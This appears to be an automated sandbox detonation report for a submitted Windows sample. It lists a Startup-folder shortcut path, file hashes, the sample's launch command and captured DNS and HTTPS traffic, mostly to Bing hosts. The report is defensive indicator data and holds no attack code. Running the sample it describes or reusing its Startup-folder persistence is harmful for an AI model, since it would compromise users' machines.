C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\54b061.lnk

MD5 8ac118ccf74f5910b50fa47c975c8f3b
SHA1 8d1b75ca704b9f5835652abdfab68e23fcbe610b
SHA256 1878308c8f1984d41063449e816b65f60aea88b06a3f70730e1e147504492ffc
SHA512 f1e9f1228abd5470c59f23621aa0ab72534aecf6928f1e89318e15bd797f92d16e2c9b59411be906d4ed61679eb06c0c5898f509b3c8c438cff226cf35f6d71b

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-04 02:00

Reported

2024-05-04 02:02

Platform

win10v2004-20240426-en

Max time kernel

150s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\112f4f28f7901335ac7fba24bc9f3fcd_JaffaCakes118.exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\112f4f28f7901335ac7fba24bc9f3fcd_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\112f4f28f7901335ac7fba24bc9f3fcd_JaffaCakes118.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 64.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
NL 23.62.61.194:443 www.bing.com tcp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 194.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 77.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 udp

Files

N/A